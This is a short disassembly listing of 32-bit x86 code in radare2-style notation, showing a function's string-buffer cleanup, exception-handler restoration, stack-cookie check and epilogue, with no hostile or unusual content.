sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x46e7ef
push ecx
push edx
call fcn.004bf874
add esp, 8
lea ecx, [ebp - 0x14c]
call fcn.00445560
mov ecx, dword [ebp - 0x150]
cmp ecx, 0x10
jb 0x46e705
mov edx, dword [ebp - 0x164]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x46e6fb
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x46e7f4
push ecx
push edx
call fcn.004bf874
add esp, 8
mov ecx, dword [ebp - 0x168]
cmp ecx, 0x10
jb 0x46e73f
mov edx, dword [ebp - 0x17c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x46e735
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x46e7f9
push ecx
push edx
call fcn.004bf874
add esp, 8
mov eax, dword [ebp - 0x1d0]
mov dword [ebp - 0x16c], 0
mov dword [ebp - 0x168], 0xf
mov byte [ebp - 0x17c], 0
push dword [eax + 4]
lea eax, [ebp - 0x1d0]
push eax
mov ecx, eax
call fcn.0045f7f0
push 0x30
push dword [ebp - 0x1d0]
call fcn.004bf874
mov ecx, dword [ebp - 0x1d4]
add esp, 8
cmp ecx, 0x10
jb 0x46e7b7
mov edx, dword [ebp - 0x1e8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x46e7ad
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x46e7f9
push ecx
push edx
call fcn.004bf874
add esp, 8
mov eax, dword [ebp - 0x208]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.004bf82c
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.004c7a60
call fcn.00442c70
call fcn.00441c10
call fcn.004c7a60
call fcn.004c7a60
call fcn.004c7a60
call fcn.004c7a60
int3